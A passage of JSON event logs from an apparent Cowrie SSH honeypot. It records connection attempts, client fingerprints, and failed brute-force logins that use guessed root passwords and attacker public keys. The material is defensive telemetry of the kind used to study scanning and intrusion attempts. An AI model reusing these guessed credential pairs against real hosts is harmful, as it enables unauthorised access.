ellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:21.319722Z","src_ip":"115.91.48.142","session":"05ee84ca3b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"1234","message":"login attempt [vhserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:22.173539Z","src_ip":"115.91.48.142","session":"05ee84ca3b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:23.384070Z","src_ip":"115.91.48.142","session":"05ee84ca3b66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":36394,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6e2586f254f","protocol":"ssh","message":"New connection: 150.109.20.59:36394 (10.17.0.5:22) [session: c6e2586f254f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:30.636741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:30.641588Z","src_ip":"150.109.20.59","session":"c6e2586f254f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:30.880241Z","src_ip":"150.109.20.59","session":"c6e2586f254f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd@123456","message":"login attempt [root/asd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:31.862571Z","src_ip":"150.109.20.59","session":"c6e2586f254f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:33.105334Z","src_ip":"150.109.20.59","session":"c6e2586f254f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37082,"dst_ip":"10.17.0.5","dst_port":22,"session":"3065418a1460","protocol":"ssh","message":"New connection: 103.149.28.157:37082 (10.17.0.5:22) [session: 3065418a1460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:40.892771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:40.897758Z","src_ip":"103.149.28.157","session":"3065418a1460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:41.147035Z","src_ip":"103.149.28.157","session":"3065418a1460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123asd","message":"login attempt [root/asd123asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:41.892867Z","src_ip":"103.149.28.157","session":"3065418a1460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:43.143039Z","src_ip":"103.149.28.157","session":"3065418a1460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53606,"dst_ip":"159.203.135.109","dst_port":22,"session":"93fd0a9704ca","protocol":"ssh","message":"New connection: 103.77.242.62:53606 (159.203.135.109:22) [session: 93fd0a9704ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:48.615702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:48.620786Z","src_ip":"103.77.242.62","session":"93fd0a9704ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:48.863774Z","src_ip":"103.77.242.62","session":"93fd0a9704ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olenka","message":"login attempt [root/olenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:49.590785Z","src_ip":"103.77.242.62","session":"93fd0a9704ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:50.836819Z","src_ip":"103.77.242.62","session":"93fd0a9704ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.227.40","src_port":41160,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac9138edf86d","protocol":"ssh","message":"New connection: 158.69.227.40:41160 (10.17.0.5:22) [session: ac9138edf86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.354266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.361138Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.385416Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:7c:09:07:37:2c:56:1a:7b:f4:bd:eb:4f:bc:72:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb8XuRVrFNEmUgAFO6qj7zxU/KBErQ5aFXn/A1KFamrWWNzzTJWHc9OC6RmMGxA19BajG5+IpL0jC3JzYtR2bT6JIKpLfVNijCbEB2jmF3pXLStI0QO4aBHU11WuvrgXESYxyrNS/zDWPJQYNt0zKGC7kt20GGkLmy8ZBqlPYXYCG/19/yccsTxRZ3EzoPzjhSFDWfZ5x093ZrTQ58aU4Eg5MldUKlHUr/xk4o2CJpsIwyVak1qEMrmTFU+utjlYGldlMsriXvPaigmZcqhwCv35ksMTVUEYr/zOM7/4XJAaPI5OVklCxvFWu0gcc8iP9hNIXIaDCYigBHJO2Sh96X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:7c:09:07:37:2c:56:1a:7b:f4:bd:eb:4f:bc:72:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.475118Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:7c:09:07:37:2c:56:1a:7b:f4:bd:eb:4f:bc:72:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb8XuRVrFNEmUgAFO6qj7zxU/KBErQ5aFXn/A1KFamrWWNzzTJWHc9OC6RmMGxA19BajG5+IpL0jC3JzYtR2bT6JIKpLfVNijCbEB2jmF3pXLStI0QO4aBHU11WuvrgXESYxyrNS/zDWPJQYNt0zKGC7kt20GGkLmy8ZBqlPYXYCG/19/yccsTxRZ3EzoPzjhSFDWfZ5x093ZrTQ58aU4Eg5MldUKlHUr/xk4o2CJpsIwyVak1qEMrmTFU+utjlYGldlMsriXvPaigmZcqhwCv35ksMTVUEYr/zOM7/4XJAaPI5OVklCxvFWu0gcc8iP9hNIXIaDCYigBHJO2Sh96X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.481720Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:6a:6c:f2:70:0d:f4:34:a1:a6:0d:4a:8c:f4:c3:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzmshBq2OP4fYWizpDslZcgjoere/oQLFbkn1z4/E/Fj395mWBRd0DnO42zS24DeU9HZRIpxrflmbMZ2d0P0BZvO0Vn00aWIDEeFZqO9aLhuqRAby81yoX3CC2oZAO/i/dR0Pt+ZGoZCBKAYeYbqcfsTY1BiSwJXIFFUGWr5cy3fsSVtZTGFjrBGfNq3mwhi+sfWk5+IoQljfQuRSXssG1aXUjDJV+sS07Tq7LNl+K4HFtENi3dOIl+iSbAx0soQXoOMWNPWzpaI34ZtrQ2CMiUHPPBGsobY4zM53mNRWcGZhKVLn0ebsqhfU0jhjO3qxLgE0AU9CdV5rep0fgfdwv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:6a:6c:f2:70:0d:f4:34:a1:a6:0d:4a:8c:f4:c3:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.519513Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:6a:6c:f2:70:0d:f4:34:a1:a6:0d:4a:8c:f4:c3:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzmshBq2OP4fYWizpDslZcgjoere/oQLFbkn1z4/E/Fj395mWBRd0DnO42zS24DeU9HZRIpxrflmbMZ2d0P0BZvO0Vn00aWIDEeFZqO9aLhuqRAby81yoX3CC2oZAO/i/dR0Pt+ZGoZCBKAYeYbqcfsTY1BiSwJXIFFUGWr5cy3fsSVtZTGFjrBGfNq3mwhi+sfWk5+IoQljfQuRSXssG1aXUjDJV+sS07Tq7LNl+K4HFtENi3dOIl+iSbAx0soQXoOMWNPWzpaI34ZtrQ2CMiUHPPBGsobY4zM53mNRWcGZhKVLn0ebsqhfU0jhjO3qxLgE0AU9CdV5rep0fgfdwv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.527231Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:94:62:49:29:a0:7e:e4:0f:cd:5a:3c:a5:e0:10:75","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPKihR0I45W0AKQF74ZYLRc2PRmQS96XFV3md0R3+xA+gfVd5lLI+nX0DQwweuLNyNMV5QhoxYsPvSYQqTfrLXwXm82wkcCDCrRuFA98VEsgE2wQKHq6oj+ho+Znbvi8o1SBuDwNKPJU2cvfCr3Ik20pKb8ouPlh1ZnL0/LpmqBxAAAAFQDM0b3dxKW1ESfca/YK+zMe8qxGiQAAAIEAkV9HHduqFTdPXh4iLzFN3eBKat9XbCkEqQqaMCwG2rH7nb6cRNRW9aM+P/ImxBohcAc6Jon5PhRkuXnIZfd7teP001uDLAcpct2QXzLygH0kA8qOPAoZevF6ZBbG8yBT164LGtjAAXHiBYsQOB5hGYp124O1DKakyuKJeIRU4u0AAACBANEY8Awa7N2n8/Ubgg9Tt34yZgubvXbLdMIA6+dJQPpf4nNeYFAhyKLR05xa7MqhnLBpkb50ZwYhRCsTD659btoPPX6DNc5N4hvd4Yjc4HjLV4vG/xgmz/0ck506JWun9F1eLpHe56cxECTI5J2I0o0W0We25buElKxCeQpjsoNI","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0c:94:62:49:29:a0:7e:e4:0f:cd:5a:3c:a5:e0:10:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.563704Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:94:62:49:29:a0:7e:e4:0f:cd:5a:3c:a5:e0:10:75","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPKihR0I45W0AKQF74ZYLRc2PRmQS96XFV3md0R3+xA+gfVd5lLI+nX0DQwweuLNyNMV5QhoxYsPvSYQqTfrLXwXm82wkcCDCrRuFA98VEsgE2wQKHq6oj+ho+Znbvi8o1SBuDwNKPJU2cvfCr3Ik20pKb8ouPlh1ZnL0/LpmqBxAAAAFQDM0b3dxKW1ESfca/YK+zMe8qxGiQAAAIEAkV9HHduqFTdPXh4iLzFN3eBKat9XbCkEqQqaMCwG2rH7nb6cRNRW9aM+P/ImxBohcAc6Jon5PhRkuXnIZfd7teP001uDLAcpct2QXzLygH0kA8qOPAoZevF6ZBbG8yBT164LGtjAAXHiBYsQOB5hGYp124O1DKakyuKJeIRU4u0AAACBANEY8Awa7N2n8/Ubgg9Tt34yZgubvXbLdMIA6+dJQPpf4nNeYFAhyKLR05xa7MqhnLBpkb50ZwYhRCsTD659btoPPX6DNc5N4hvd4Yjc4HjLV4vG/xgmz/0ck506JWun9F1eLpHe56cxECTI5J2I0o0W0We25buElKxCeQpjsoNI","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.568259Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39624,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f6805b866a","protocol":"ssh","message":"New connection: 80.94.92.186:39624 (159.203.135.109:22) [session: 75f6805b866a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.609725Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:85:c9:76:f5:57:56:e7:4d:43:f4:4b:2c:30:9c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSVQ3WqmhGUbkyPQyUtLRZGC8EstvK+kQ+mkcyQJMKvTZ468TZCjWiyXY/ivgGrwOq6RBGExdyRZuCW41GmlAct90HeFVd2e23fPeb/AgF3XKFXbXS4IpcWXGVjthJjA6ezYTz8nYQdYHzrmPTA2jzvzT1i9xLQRSRZKglh9vqRl8jP/OJWmWysZJbAxOqOVkfYYn5Y4wA6W1Tlq0kFVA9JD1LOEno8Ll0TlvrXn83gM5XwbJMzXuV7zKlZJ6rFREExcXQr08WF7D09LWnIH6NZCc8u7LD1aww2z5hl/mk/w8nk0Li1d+i1dfSc5YSPZPuzIy2AuumBHMjT71wW85cIC8hnbxxIc7DGsoeX21dOkmfTjJ+NGt5z/+sawUnsbc4ae65onmXzu7WZFYsZUyZgs9g/rnABCMim/lNacckepeSvIAVDRU6KOr6b76lsN2Sgu5CTwNCaPb8It08Lyf2mCX5yYPib0w7+/YiYbLST4HLWbQxhQ02YJzJasx1iclJr/cDc5Q0BPTk0gwglpvbAlxzyMWJJ+Mltu0asqm1TvGxjiR/tT+afLwU+q7uCegWLTVf1MmBBZaCJcXN36IxFXbxMUW0Ob5Lf6TaBB05O8xPxjeciMCQ8vePSF4Zexf9JGgvM4WR1xqUiiC0nf+P8cUTP44Wkgx9eui+iOJiFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:85:c9:76:f5:57:56:e7:4d:43:f4:4b:2c:30:9c:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.622779Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:85:c9:76:f5:57:56:e7:4d:43:f4:4b:2c:30:9c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSVQ3WqmhGUbkyPQyUtLRZGC8EstvK+kQ+mkcyQJMKvTZ468TZCjWiyXY/ivgGrwOq6RBGExdyRZuCW41GmlAct90HeFVd2e23fPeb/AgF3XKFXbXS4IpcWXGVjthJjA6ezYTz8nYQdYHzrmPTA2jzvzT1i9xLQRSRZKglh9vqRl8jP/OJWmWysZJbAxOqOVkfYYn5Y4wA6W1Tlq0kFVA9JD1LOEno8Ll0TlvrXn83gM5XwbJMzXuV7zKlZJ6rFREExcXQr08WF7D09LWnIH6NZCc8u7LD1aww2z5hl/mk/w8nk0Li1d+i1dfSc5YSPZPuzIy2AuumBHMjT71wW85cIC8hnbxxIc7DGsoeX21dOkmfTjJ+NGt5z/+sawUnsbc4ae65onmXzu7WZFYsZUyZgs9g/rnABCMim/lNacckepeSvIAVDRU6KOr6b76lsN2Sgu5CTwNCaPb8It08Lyf2mCX5yYPib0w7+/YiYbLST4HLWbQxhQ02YJzJasx1iclJr/cDc5Q0BPTk0gwglpvbAlxzyMWJJ+Mltu0asqm1TvGxjiR/tT+afLwU+q7uCegWLTVf1MmBBZaCJcXN36IxFXbxMUW0Ob5Lf6TaBB05O8xPxjeciMCQ8vePSF4Zexf9JGgvM4WR1xqUiiC0nf+P8cUTP44Wkgx9eui+iOJiFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.632130Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.654567Z","src_ip":"80.94.92.186","session":"75f6805b866a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:be:51:db:c1:30:ce:df:e3:8e:cb:b1:45:1b:69:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5S2iqQ2w9w1aRbvNt9SC0PZ6LEh/pl2JiOpIiAwEBq/yABboZx8DWMua8m5Q03YTqV6/vzDD9+7Dz3Hp6IM8iuMz0hHbQR0EOP/QVfr4HexfnLOgRvMt2KckBIoTL21JAI+lzhd173c/AZMAnKF0mL117PWm3iQz3oPfPoA/GxJbmLY0cLDHVdl4NudO2PHVYyhThm8GYPGZ1xJMZN0/wauQ0241jgfXIDZkun9cwtERlmGT7G9UAcxaynNRCuP90j6v6w5rwZhh4k+jTDo130zseZzOUUpSUBOSPushA+y1ypIffRyJQ8W395LEg6W0BVuaCzAaeD3Cj/jumLbACw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:be:51:db:c1:30:ce:df:e3:8e:cb:b1:45:1b:69:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.670152Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
